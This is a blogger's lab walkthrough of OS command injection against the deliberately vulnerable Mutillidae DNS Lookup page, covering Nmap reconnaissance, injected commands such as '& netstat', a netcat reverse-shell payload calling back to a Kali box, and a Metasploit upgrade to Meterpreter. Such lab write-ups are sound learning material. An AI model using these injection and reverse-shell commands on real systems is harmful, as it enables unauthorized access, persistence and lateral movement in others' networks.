Hello Internet! I was first introduced to the command injection vulnerability when I took Peter Kim's Ethical Hacking 101 class last year in November. Prior to this I wasn't too familiar with web application vulnerabilities so I thought I would write about it to enhance my understanding.
I wanted to setup the infrastructure to replicate a real world scenario as much as possible. Instead of putting all devices on the same network segment, I used PfSense to create two networks; 10.0.0.0/24 and 192.168.1.0/24. The attacker will use the WAN IP of 10.0.0.109 to access the Mutillidae web application which is on the internal LAN IP of 192.168.1.101. This configuration mimics most web servers since they use port forwarding in order for users to access their services over the Internet.
We will use Nmap to perform some reconnaissance on our target to see what services are running and what ports are open.
Open up a terminal and enter the following:
nmap -sV -O -v 10.0.0.109
-sV switch will see what services/ports are running, the
-O switch will detect what OS is running and the
-v switch enables verbosity which provides more output information. From our results we can see that port 80(http) is open, using Apache as the web server, and Linux as the OS.
Let's see what it looks like through a web browser.
Since we already know we'll be using Mutillidae we can go ahead and navigate to the DNS Lookup web application.
The way this web application works is by passing on the command from the web application to the OS of the server it being hosted on. Without proper sanitization or input validation, arbitrary OS commands can be executed by anyone over the Internet. Vulnerabilities like this increase the attack surface and serves as another entry point into someone's network. Let's see what happens when we type an IP address in the web application.
We can see that the IP 220.127.116.11 is resolved to one of Google's DNS servers.
There are a few ways to test for OS command injection. We can use metacharacters which are special characters that hold a specific meaning within the context of a computer program. Let's try using
& which separates multiple commands on one command line.
18.104.22.168 & netstat the IP address is resolved again as well the netstat command which returned a list of active network connections on the web server. Let's keep digging to see what else we can find.
Awesome, after resolving the IP address it displays the current file directory as well!
Since we know the web server reaches out to the Internet in order resolve IP addresses to domain names we can infer that there are no egress firewall rules blocking any traffic leaving the internal. Let's try to get a reverse shell connecting back to our Kali box. A reverse shell is when you use the victim's machine to establish a connection to the attacking machine, commonly used to bypass firewalls. To accomplish this task we can utilize the "swiss army knife of hacking tools," netcat. Netcat can communicate over network connections using TCP or UDP protocols, be used as a network scanner, a proxy, and as a backdoor into a computer.
In order to setup a reverse shell using netcat we will setup a listener on our Kali box using this command:
nc -lvp 4444
nc initiates the netcat command, switches
-lvp indicate "listen" mode, "verbose" mode and which "port" to listen on.
Now, on the vulnerable web server application we will input the following command:
& nc 10.0.0.107 4444 -e /bin/bash
& is the command separator,
nc is the netcat command,
10.0.0.107 is the IP of the Kali box,
4444 is the port the Kali box is listening on for the reverse shell, and
-e /bin/bash indicates to execute a bash shell.
Back at our Kali box we can see that we have an active connection from our netcat listener. We execute the
ls command and it displays the same working directory that we saw earlier on vulnerable web application. We now have an active shell connection from the web server to our Kali box!
Bonus: Upgrade to Meterpreter Shell
Now that we have confirmed we can obtain a shell on our target; we can upgrade our current shell to a more feature rich Meterpreter shell using Meatsploit. Metasploit is an exploitation framework that has a variety of tools built into it. This is where you can start thinking about lateral movement and maintaining persistence within the network. Think of it as a set of Lego blocks where you can build your own exploits depending on the environment you are in.
Fire up metasploit with the
Let's use the
use exploit/multi/handler exploit.
We will set the listening IP to our Kali box:
set LHOST 10.0.0.107 and the listening port to 4444:
set LPORT 4444
We'll use the
set payload linux/x86/shell/reverse_tcp payload
run to execute our listener. This is the same thing we did before with netcat except we are using the Metasploit framework.
We execute the same netcat command on the web application we did earlier
& nc 10.0.0.107 4444 -e /bin/bash
We now have an active reverse shell connection again
Ctl + z to put the current shell connection in the background and to get back to the msfconsole command line
Let's upgrade the current shell to a Meterpreter shell using
sessions -u 1
To use our new Meterpreter shell enter
sessions -i 2
I know this probably sounds a bit foreign to anyone who is not too familiar with hacking concepts, myself included. Let's break down what we accomplished.
- Performed information gathering on the target system using Nmap
- Discovered that it has a web server running on port 80
- Accessed the web application via web browser
- Did some basic testing for OS command injection on the web application
- Determined web application is vulnerable to running arbitrary commands on system
- Was able to establish a reverse shell connection from web server to my Kali box
- Was able to upgrade reverse shell to Meterpreter shell
- Can now think about maintaining persistence, lateral movement and further exploitation on other systems within the network